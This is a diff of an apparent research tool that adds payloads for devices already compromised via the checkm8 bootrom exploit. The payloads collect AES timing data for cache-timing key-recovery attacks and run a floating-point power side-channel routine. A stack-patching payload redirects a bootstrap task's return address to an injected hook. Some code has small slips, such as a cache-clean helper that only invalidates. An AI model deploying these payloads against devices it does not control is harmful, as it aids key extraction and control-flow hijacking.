+static inline unsigned long long get_time()
+{
+    return ((BOOTROM_FUNC_ULL) ADDR_GET_TIME)();
+}
+
+static inline unsigned long long get_ticks()
+{
+    return ((BOOTROM_FUNC_ULL) ADDR_GET_TICKS)();
+}
+
+static inline void timer_register_int(unsigned long long dl)
+{
+    ((BOOTROM_FUNC_V) ADDR_TIMER_REGISTER_INT)(dl, ADDR_RANDOM_RET);
+}
+
+static inline void wfi()
+{
+    ((BOOTROM_FUNC_V) ADDR_WFI)();
+}
+
+/* Tasking */
+static inline void *task_new(char *name, BOOTROM_FUNC_I func, void *args, int ssize)
+{
+    return ((BOOTROM_FUNC_PTR) ADDR_TASK_NEW)(name, func, args, ssize);
+}
+
+static inline void task_run(void *task)
+{
+    ((BOOTROM_FUNC_V) ADDR_TASK_RUN)(task);
+}
+
+static inline void task_pause(int usec)
+{
+    ((BOOTROM_FUNC_V) ADDR_TASK_PAUSE)(usec);
+}
+
+static inline void task_resched()
+{
+    ((BOOTROM_FUNC_V) ADDR_TASK_RESCHED)();
+}
+
+static inline void task_free(void *task)
+{
+    ((BOOTROM_FUNC_V) ADDR_TASK_FREE)(task);
+}
+
+static inline void event_new(struct event *dst, int flags, int state)
+{
+    ((BOOTROM_FUNC_V) ADDR_EVENT_NEW)(dst, flags, state);
+}
+
+static inline void event_notify(struct event *ev)
+{
+    ((BOOTROM_FUNC_V) ADDR_EVENT_NOTIFY)(ev);
+}
+
+static inline void event_wait(struct event *ev)
+{
+    ((BOOTROM_FUNC_V) ADDR_EVENT_WAIT)(ev);
+}
+
+static inline int event_try(struct event *ev, int timeout)
+{
+    return ((BOOTROM_FUNC_I) ADDR_EVENT_TRY)(ev, timeout);
+}
+
+/* Heap */
+static inline void calc_chksum(unsigned long long *dst, unsigned long long *src,
+                        int len, unsigned long long *cookie)
+{
+    ((BOOTROM_FUNC_V) ADDR_CALC_CHKSUM)(dst, src, len, cookie);
+}
+
+static inline void check_block_chksum(void *ptr)
+{
+    ((BOOTROM_FUNC_V) ADDR_CHECK_BLOCK_CKSUM)(ptr);
+}
+
+static inline void check_all_chksums()
+{
+    ((BOOTROM_FUNC_V) ADDR_CHECK_ALL_CHKSUMS)();
+}
+
+static inline void *dev_malloc(int size)
+{
+    return ((BOOTROM_FUNC_PTR) ADDR_DEV_MALLOC)(size);
+}
+
+static inline void *dev_memalign(int size, int constr)
+{
+    return ((BOOTROM_FUNC_PTR) ADDR_DEV_MEMALIGN)(size, constr);
+}
+
+static inline void dev_free(void *ptr)
+{
+    ((BOOTROM_FUNC_PTR) ADDR_DEV_FREE)(ptr);
+}
+
+#endif //CHECKM8_TOOL_BOOTROM_FUNC_H
--- a/c8_remote/lib/payload/include/dev_cache.h
+++ b/c8_remote/lib/payload/include/dev_cache.h
@@ -0,0 +1,62 @@
+#ifndef CHECKM8_TOOL_DEV_CACHE_H
+#define CHECKM8_TOOL_DEV_CACHE_H
+
+#include "dev_util.h"
+
+PAYLOAD_SECTION
+static inline unsigned long long get_ccsidr_el1()
+{
+    unsigned long long cacheconfig = 0;
+    __asm__ volatile ("mrs %0, ccsidr_el1" : "=r" (cacheconfig));
+    return cacheconfig;
+}
+
+PAYLOAD_SECTION
+static inline void sel_ccsidr_el1(unsigned int level, unsigned int i_or_d)
+{
+    unsigned long long cachesel = (level & 0b111u) << 1u | (i_or_d & 0b1u);
+    __asm__ volatile ("msr csselr_el1, %0"::"r" (cachesel));
+}
+
+PAYLOAD_SECTION
+static inline unsigned long long get_ctr_el0()
+{
+    unsigned long long cacheconfig;
+    __asm__ volatile ("mrs %0, CTR_EL0" : "=r" (cacheconfig));
+    return cacheconfig;
+}
+
+PAYLOAD_SECTION
+static inline void inv_l1_setway(unsigned int set, unsigned int way)
+{
+    unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
+    __asm__ volatile ("dc isw, %0"::"r" (val));
+}
+
+PAYLOAD_SECTION
+static inline void clean_l1_setway(unsigned int set, unsigned int way)
+{
+    unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
+    __asm__ volatile ("dc csw, %0"::"r" (val));
+}
+
+PAYLOAD_SECTION
+static inline void clean_inv_l1_setway(unsigned int set, unsigned int way)
+{
+    unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
+    __asm__ volatile ("dc cisw, %0"::"r" (val));
+}
+
+PAYLOAD_SECTION
+static inline void inv_va(void *addr)
+{
+    __asm__ volatile ("dc ivac, %0"::"r" (addr));
+}
+
+PAYLOAD_SECTION
+static inline void clean_inv_va(void *addr)
+{
+    __asm__ volatile ("dc ivac, %0"::"r" (addr));
+}
+
+#endif //CHECKM8_TOOL_DEV_CACHE_H
--- a/c8_remote/lib/payload/include/dev_crypto.h
+++ b/c8_remote/lib/payload/include/dev_crypto.h
@@ -0,0 +1,13 @@
+#ifndef CHECKM8_TOOL_CRYPTO_H
+#define CHECKM8_TOOL_CRYPTO_H
+
+#include "dev/types.h"
+
+void expand_key(unsigned char key[16], unsigned char key_sched[176],
+                int n, struct aes_constants *c);
+
+void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
+                        unsigned char key_sched[176], struct aes_constants *c);
+
+
+#endif //CHECKM8_TOOL_CRYPTO_H
--- a/c8_remote/lib/payload/include/dev_util.h
+++ b/c8_remote/lib/payload/include/dev_util.h
@@ -0,0 +1,22 @@
+#ifndef CHECKM8_TOOL_DEV_UTIL_H
+#define CHECKM8_TOOL_DEV_UTIL_H
+
+typedef void (*BOOTROM_FUNC_V)();
+typedef int (*BOOTROM_FUNC_I)();
+typedef unsigned long long (*BOOTROM_FUNC_ULL)();
+typedef void (*(*BOOTROM_FUNC_PTR)());
+
+typedef char                int8_t;
+typedef short               int16_t;
+typedef int                 int32_t;
+typedef long long           int64_t;
+
+typedef unsigned char       uint8_t;
+typedef unsigned short      uint16_t;
+typedef unsigned int        uint32_t;
+typedef unsigned long long  uint64_t;
+
+#define PAYLOAD_SECTION __attribute__ ((section (".payload_text")))
+#define PAYLOAD_DATA    __attribute__ ((section (".payload_data")))
+
+#endif //CHECKM8_TOOL_DEV_UTIL_H
--- a/c8_remote/lib/payload/src/crypto/aes_busy.c
+++ b/c8_remote/lib/payload/src/crypto/aes_busy.c
@@ -0,0 +1,22 @@
+#include "bootrom_func.h"
+
+PAYLOAD_SECTION
+void entry_sync(uint8_t *src, uint8_t *dst, uint8_t *key, int32_t rep)
+{
+    int i, j;
+    unsigned char src_data[16];
+
+    for(j = 0; j < 16; j++)
+    {
+        src_data[j] = src[j];
+    }
+
+    for(i = 0; i < rep; i++)
+    {
+        if(i % 2 == 0) hardware_aes(16, src_data, dst, 16, 0, key, 0);
+        else hardware_aes(16, dst, src_data, 16, 0, key, 0);
+    }
+}
+
+PAYLOAD_SECTION
+void entry_async(uint64_t *base){}
--- a/c8_remote/lib/payload/src/crypto/aes_sw_bern.c
+++ b/c8_remote/lib/payload/src/crypto/aes_sw_bern.c
@@ -0,0 +1,83 @@
+#include "bootrom_func.h"
+#include "dev/types.h"
+#include "dev_cache.h"
+#include "dev_crypto.h"
+
+PAYLOAD_SECTION
+uint64_t entry_sync(unsigned char *msg, unsigned int msg_len, unsigned char key[16],
+                    struct aes_constants *c)
+{
+    unsigned long long start = 0;
+    unsigned char key_sched[176];
+    expand_key(key, key_sched, 11, c);
+
+    start = get_ticks();
+    aes128_encrypt_ecb(msg, msg_len, key, c);
+    return get_ticks() - start;
+}
+
+PAYLOAD_SECTION
+void entry_async(uint64_t *base)
+{
+    int i, j, iter_count = 0;
+    unsigned long long start = 0;
+
+    unsigned char msg_old[16];
+    unsigned char key_sched[176];
+    double timing;
+
+    // get initial params
+    unsigned char *msg = (unsigned char *) base[0];
+    unsigned int msg_len = (unsigned int) base[1];
+    unsigned char *key = (unsigned char *) base[2];
+    struct aes_constants *c = (struct aes_constants *) base[3];
+
+    expand_key(key, key_sched, 11, c);
+
+    // initialize events and buffers
+    struct bern_data *data = (struct bern_data *) base;
+    event_new(&data->ev_data, 1, 0);
+    event_new(&data->ev_done, 1, 0);
+
+    data->count = 0;
+    for(i = 0; i < 16; i++)
+    {
+        for(j = 0; j < 256; j++)
+        {
+            data->t[i][j] = 0;
+            data->tsq[i][j] = 0;
+            data->tnum[i][j] = 0;
+        }
+    }
+
+    while(1)
+    {
+        // randomly generate a new msg based on the old one
+        for(i = 0; i < 16; i++)
+            msg_old[i] = msg[i];
+
+        // encrypt it and measure time
+        start = get_ticks();
+        aes128_encrypt_ecb(msg, msg_len, key_sched, c);
+        timing = (double) (get_ticks() - start);
+
+        // update counters
+        for(i = 0; i < 16; i++)
+        {
+            data->t[i][msg_old[i]] += timing;
+            data->tsq[i][msg_old[i]] += (timing * timing);
+            data->tnum[i][msg_old[i]] += 1;
+
+            data->count++;
+            data->ttotal += timing;
+        }
+
+        // check if host has requested data
+        iter_count++;
+        if(iter_count % 100000 == 0)
+        {
+            if(event_try(&data->ev_data, 1))
+                event_wait(&data->ev_done);
+        }
+    }
+}
--- a/c8_remote/lib/payload/src/crypto/aes_sw_corr.c
+++ b/c8_remote/lib/payload/src/crypto/aes_sw_corr.c
@@ -0,0 +1,54 @@
+#include "bootrom_func.h"
+#include "dev_util.h"
+#include "dev_crypto.h"
+
+PAYLOAD_SECTION
+void entry_sync()
+{
+
+}
+
+PAYLOAD_SECTION
+void entry_async(uint64_t *base)
+{
+    int i;
+    unsigned char key_sched[176];
+    unsigned long long start, timing;
+
+    unsigned char *key = (unsigned char *) base[0];
+    struct aes_constants *c = (struct aes_constants *) base[1];
+
+    struct corr_data *data = (struct corr_data *) base;
+    event_new(&data->ev_cont, 1, 0);
+
+    expand_key(key, key_sched, 11, c);
+    for(i = 0; i < 16; i++)
+        data->msg[i] = 0;
+
+    while(1)
+    {
+        // reset data state
+        data->num_cutoff = 0;
+        for(i = 0; i < N_CORR_ENTRIES; i++)
+        {
+            data->data[i] = 0;
+        }
+
+        // collect new data
+        i = 0;
+        while(i < N_CORR_ENTRIES)
+        {
+            start = get_ticks();
+            aes128_encrypt_ecb(data->msg, 16, key_sched, c);
+            timing = get_ticks() - start;
+
+            if(timing < 256)
+                data->data[i++] = (unsigned char) timing;
+            else
+                data->num_cutoff++;
+        }
+
+        event_wait(&data->ev_cont);
+    }
+
+}
--- a/c8_remote/lib/payload/src/payload_entry.S
+++ b/c8_remote/lib/payload/src/payload_entry.S
@@ -0,0 +1,17 @@
+.extern entry_sync
+.extern entry_async
+.extern load_sync_entry
+
+.global _start
+.section .text
+_start:
+    mov     x10,        x30
+    bl      load_sync_entry
+    mov     x30,        x10
+
+    # if we came from the synchronous entry point, branch to entry_sync
+    cmp     x9,         x10
+    b.eq    entry_sync
+
+    # else branch to the payload's async entry points
+    b       entry_async
--- a/c8_remote/lib/payload/src/payload_entry.c
+++ b/c8_remote/lib/payload/src/payload_entry.c
@@ -0,0 +1,13 @@
+#include "dev_util.h"
+#include "dev/addr.h"
+
+PAYLOAD_SECTION
+void load_sync_entry()
+{
+    uint64_t addr = ADDR_SYNC_ENTRY;
+    __asm__ volatile("mov x9, %0"           :: "i" (addr & 0xFFFFu));
+    __asm__ volatile("movk x9, %0, LSL #16" :: "i" ((addr & 0xFFFF0000u) >> 16u));
+    __asm__ volatile("movk x9, %0, LSL #32" :: "i" ((addr & 0xFFFF00000000u) >> 32u));
+    __asm__ volatile("movk x9, %0, LSL #48" :: "i" ((addr & 0xFFFF000000000000u) >> 48u));
+
+}
--- a/c8_remote/lib/payload/src/power/floppysleep.S
+++ b/c8_remote/lib/payload/src/power/floppysleep.S
@@ -0,0 +1,187 @@
+.global fs_routine
+.global fs_load
+# .global check_subnormal
+
+.section .payload_text, "ax"
+
+fs_load:
+    # load from memory
+    ldr     s0,         [x0]
+    mov     v0.s[1],    v0.s[0]
+    mov     v0.s[2],    v0.s[0]
+    mov     v0.s[3],    v0.s[0]
+    fmov    s31,        1.0
+    ucvtf   s30,        w1
+    
+    mov     v1.s[3],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v1.s[2],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v1.s[1],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v1.s[0],    v30.s[0]
+        
+    fadd    s30,        s30,     s31
+    mov     v2.s[3],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v2.s[2],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v2.s[1],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v2.s[0],    v30.s[0]
+        
+    fadd    s30,        s30,     s31
+    mov     v3.s[3],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v3.s[2],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v3.s[1],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v3.s[0],    v30.s[0]
+
+    fadd    s30,        s30,     s31
+    mov     v4.s[3],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v4.s[2],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v4.s[1],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v4.s[0],    v30.s[0]
+        
+    fadd    s30,        s30,     s31
+    mov     v5.s[3],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v5.s[2],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v5.s[1],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v5.s[0],    v30.s[0]
+
+    fadd    s30,        s30,     s31
+    mov     v6.s[3],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v6.s[2],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v6.s[1],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v6.s[0],    v30.s[0]
+
+    fadd    s30,        s30,     s31
+    mov     v7.s[3],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v7.s[2],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v7.s[1],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v7.s[0],    v30.s[0]
+
+    fadd    s30,        s30,     s31
+    mov     v8.s[3],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v8.s[2],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v8.s[1],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v8.s[0],    v30.s[0]
+
+    fadd    s30,        s30,     s31
+    mov     v9.s[3],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v9.s[2],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v9.s[1],    v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v9.s[0],    v30.s[0]
+
+    fadd    s30,        s30,     s31
+    mov     v10.s[3],   v10.s[0]
+    fadd    s30,        s30,     s31
+    mov     v10.s[2],   v10.s[0]
+    fadd    s30,        s30,     s31
+    mov     v10.s[1],   v10.s[0]
+    fadd    s30,        s30,     s31
+    mov     v10.s[0],   v30.s[0]
+
+    fadd    s30,        s30,     s31
+    mov     v11.s[3],   v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v11.s[2],   v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v11.s[1],   v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v11.s[0],   v30.s[0]
+
+    fadd    s30,        s30,     s31
+    mov     v12.s[3],   v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v12.s[2],   v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v12.s[1],   v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v12.s[0],   v30.s[0]
+
+    fadd    s30,        s30,     s31
+    mov     v13.s[3],   v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v13.s[2],   v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v13.s[1],   v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v13.s[0],   v30.s[0]
+
+    fadd    s30,        s30,     s31
+    mov     v14.s[3],   v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v14.s[2],   v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v14.s[1],   v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v14.s[0],   v30.s[0]
+
+    fadd    s30,        s30,     s31
+    mov     v15.s[3],   v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v15.s[2],   v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v15.s[1],   v30.s[0]
+    fadd    s30,        s30,     s31
+    mov     v15.s[0],   v30.s[0]
+
+    #mov    s30,        wzr
+    #mov    s31,        wzr
+    ret
+
+fs_routine:
+    fdiv    v16.4s,     v0.4s,      v1.4s
+    fdiv    v17.4s,     v0.4s,      v2.4s
+    fdiv    v18.4s,     v0.4s,      v3.4s
+    fdiv    v19.4s,     v0.4s,      v4.4s
+    fdiv    v20.4s,     v0.4s,      v5.4s
+    fdiv    v21.4s,     v0.4s,      v6.4s
+    fdiv    v22.4s,     v0.4s,      v7.4s
+    fdiv    v23.4s,     v0.4s,      v8.4s
+    fdiv    v24.4s,     v0.4s,      v9.4s
+    fdiv    v25.4s,     v0.4s,      v10.4s
+    fdiv    v26.4s,     v0.4s,      v11.4s
+    fdiv    v27.4s,     v0.4s,      v12.4s
+    fdiv    v28.4s,     v0.4s,      v13.4s
+    fdiv    v29.4s,     v0.4s,      v14.4s
+    fdiv    v30.4s,     v0.4s,      v15.4s
+
+    fdiv    v16.4s,     v16.4s,     v15.4s
+    fdiv    v17.4s,     v17.4s,     v14.4s
+    fdiv    v18.4s,     v18.4s,     v13.4s
+    fdiv    v19.4s,     v19.4s,     v12.4s
+    fdiv    v20.4s,     v20.4s,     v11.4s
+    fdiv    v21.4s,     v21.4s,     v10.4s
+    fdiv    v22.4s,     v22.4s,     v9.4s
+    fdiv    v23.4s,     v23.4s,     v8.4s
+    fdiv    v24.4s,     v24.4s,     v7.4s
+    fdiv    v25.4s,     v25.4s,     v6.4s
+    fdiv    v26.4s,     v26.4s,     v5.4s
+    fdiv    v27.4s,     v27.4s,     v4.4s
+    fdiv    v28.4s,     v28.4s,     v3.4s
+    fdiv    v29.4s,     v29.4s,     v2.4s
+    fdiv    v30.4s,     v30.4s,     v1.4s
+
+    ret
--- a/c8_remote/lib/payload/src/power/floppysleep.c
+++ b/c8_remote/lib/payload/src/power/floppysleep.c
@@ -0,0 +1,60 @@
+#include "bootrom_func.h"
+
+extern uint64_t fs_routine(void);
+extern uint64_t fs_load(float *dividend, int divisor_base);
+// extern uint64_t check_subnormal();
+
+//PAYLOAD_SECTION
+//unsigned int is_subnormal(float val)
+//{
+//    unsigned int bytes = *((unsigned int *) &val);
+//    bytes = bytes >> 23u;
+//
+//    if(bytes & 0x7u)
+//    {
+//        return 0;
+//    }
+//    else return 1;
+//}
+
+PAYLOAD_SECTION
+uint64_t floppysleep_iteration(float *init)
+{
+    int i;
+    uint64_t start, end, report;
+
+    __asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (start));
+    fs_load(init, 1);
+    for(i = 0; i < 128; i++) fs_routine();
+    __asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (end));
+
+    if(2 * end - start - 64 > 0)
+    {
+        timer_register_int(2 * end - start - 64);
+        wfi();
+    }
+
+    __asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (report));
+    return end - start;
+}
+
+PAYLOAD_SECTION
+uint64_t entry_sync(float *init_ptr)
+{
+    return floppysleep_iteration(init_ptr);
+}
+
+PAYLOAD_SECTION
+void entry_async(uint64_t *args)
+{
+    float *init_ptr = (float *) args[0];
+    args[0] = 0;
+
+    while(1)
+    {
+        floppysleep_iteration(init_ptr);
+
+        if(args[0] % 1000000 == 0) task_resched();
+        args[0]++;
+    }
+}
--- a/c8_remote/lib/payload/src/system/cachelib.c
+++ b/c8_remote/lib/payload/src/system/cachelib.c
@@ -0,0 +1,33 @@
+#include "bootrom_func.h"
+#include "dev_cache.h"
+
+
+PAYLOAD_SECTION
+unsigned long long l1_experiment()
+{
+    int i;
+    unsigned long long start, f;
+    volatile unsigned long long val = 0;
+    clean_inv_va((unsigned long long *) &val);
+
+    start = get_ticks();
+    for(i = 0; i < 10000000; i++)
+    {
+        val;
+        clean_inv_va((unsigned long long *) &val);
+    }
+
+    return get_ticks() - start;
+}
+
+PAYLOAD_SECTION
+unsigned long long entry_sync()
+{
+    return l1_experiment();
+}
+
+PAYLOAD_SECTION
+void entry_async()
+{
+
+}
--- a/c8_remote/lib/payload/src/system/exit_usb_task.c
+++ b/c8_remote/lib/payload/src/system/exit_usb_task.c
@@ -0,0 +1,28 @@
+#include "dev/addr.h"
+#include "bootrom_func.h"
+
+PAYLOAD_SECTION
+void entry_sync(uint64_t addr_hook)
+{
+    uint64_t *bs_task_sp = ((uint64_t *) ADDR_BOOTSTRAP_TASK + (0x128 / 8));
+    uint64_t *bs_task_stack = (uint64_t *) *bs_task_sp;
+
+    while(1)
+    {
+        if(*bs_task_stack == ADDR_GETDFU_EXIT)
+        {
+            *bs_task_stack = addr_hook;
+            break;
+        }
+
+        bs_task_stack++;
+    }
+
+    *(ADDR_DFU_RETVAL) = -1;
+    *(ADDR_DFU_STATUS) = 1;
+
+    event_notify((struct event *) ADDR_DFU_EVENT);
+}
+
+PAYLOAD_SECTION
+void entry_async(){}
--- a/c8_remote/lib/payload/src/system/init_sys.c
+++ b/c8_remote/lib/payload/src/system/init_sys.c
@@ -0,0 +1,11 @@
+
+
+void entry_sync()
+{
+
+}
+
+void entry_async()
+{
+
+}
--- a/c8_remote/lib/payload/src/system/sync.c
+++ b/c8_remote/lib/payload/src/system/sync.c
@@ -0,0 +1,13 @@
+#include "dev_util.h"
+
+PAYLOAD_SECTION
+void entry_sync()
+{
+    __asm__("dmb sy");
+    __asm__("ic iallu");
+    __asm__("dsb sy");
+    __asm__("isb");
+}
+
+PAYLOAD_SECTION
+void entry_async(){}
--- a/c8_remote/lib/scripts/headerize.py
+++ b/c8_remote/lib/scripts/headerize.py
--- a/c8_remote/lib/scripts/librarize.py
+++ b/c8_remote/lib/scripts/librarize.py
--- a/c8_remote/main.c
+++ b/c8_remote/main.c
@@ -2,16 +2,19 @@

 #include <stdio.h>
 #include <string.h>
-#include <unistd.h>
+#include <stdlib.h>
+#include <math.h>
+#include <time.h>

-#include "command.h"
-#include "payload.h"
-#include "usb_helpers.h"
+#include "dev/types.h"
+#include "util/experiments.h"
+#include "util/host_crypto.h"

 #ifdef CHECKM8_LOGGING

 #include <stdarg.h>
 #include <execinfo.h>
+#include <dev/addr.h>

 #endif

@@ -26,7 +29,7 @@ void checkm8_debug_indent(const char *format, ...)
    }
    va_list args;

-    va_start (args, format);
+    va_start(args, format);
    vprintf(format, args);
    va_end(args);
 #endif
@@ -43,107 +46,142 @@ void checkm8_debug_block(const char *format, ...)
 #endif
 }

-void write_aes_utils(struct pwned_device *dev)
+void record_bern_data(struct bern_data *data)
 {
-    unsigned char sbox[256] =
-            {
-                    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
-                    0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
-                    0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
-                    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
-                    0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
-                    0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
-                    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
-                    0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
-                    0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
-                    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
-                    0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
-                    0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
-                    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
-                    0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
-                    0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
-                    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
-            };
+    int j, b;
+    double u[16][256];
+    double udev[16][256];
+    double taverage;

-    unsigned char rc_lookup[11] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c};
+    FILE *outfile;
+    char linebuf[256];

-    unsigned char mul2_lookup[256] =
-            {
-                    0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e,
-                    0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e,
-                    0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e,
-                    0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e,
-                    0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e,
-                    0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe,
-                    0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde,
-                    0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe,
-                    0x1b, 0x19, 0x1f, 0x1d, 0x13, 0x11, 0x17, 0x15, 0x0b, 0x09, 0x0f, 0x0d, 0x03, 0x01, 0x07, 0x05,
-                    0x3b, 0x39, 0x3f, 0x3d, 0x33, 0x31, 0x37, 0x35, 0x2b, 0x29, 0x2f, 0x2d, 0x23, 0x21, 0x27, 0x25,
-                    0x5b, 0x59, 0x5f, 0x5d, 0x53, 0x51, 0x57, 0x55, 0x4b, 0x49, 0x4f, 0x4d, 0x43, 0x41, 0x47, 0x45,
-                    0x7b, 0x79, 0x7f, 0x7d, 0x73, 0x71, 0x77, 0x75, 0x6b, 0x69, 0x6f, 0x6d, 0x63, 0x61, 0x67, 0x65,
-                    0x9b, 0x99, 0x9f, 0x9d, 0x93, 0x91, 0x97, 0x95, 0x8b, 0x89, 0x8f, 0x8d, 0x83, 0x81, 0x87, 0x85,
-                    0xbb, 0xb9, 0xbf, 0xbd, 0xb3, 0xb1, 0xb7, 0xb5, 0xab, 0xa9, 0xaf, 0xad, 0xa3, 0xa1, 0xa7, 0xa5,
-                    0xdb, 0xd9, 0xdf, 0xdd, 0xd3, 0xd1, 0xd7, 0xd5, 0xcb, 0xc9, 0xcf, 0xcd, 0xc3, 0xc1, 0xc7, 0xc5,
-                    0xfb, 0xf9, 0xff, 0xfd, 0xf3, 0xf1, 0xf7, 0xf5, 0xeb, 0xe9, 0xef, 0xed, 0xe3, 0xe1, 0xe7, 0xe5
-            };
+    printf("have count %lli k\n", data->count / 16 / 100000);
+    taverage = data->ttotal / (double) data->count;

-    unsigned char mul3_lookup[256] =
-            {
-                    0x00, 0x03, 0x06, 0x05, 0x0c, 0x0f, 0x0a, 0x09, 0x18, 0x1b, 0x1e, 0x1d, 0x14, 0x17, 0x12, 0x11,
-                    0x30, 0x33, 0x36, 0x35, 0x3c, 0x3f, 0x3a, 0x39, 0x28, 0x2b, 0x2e, 0x2d, 0x24, 0x27, 0x22, 0x21,
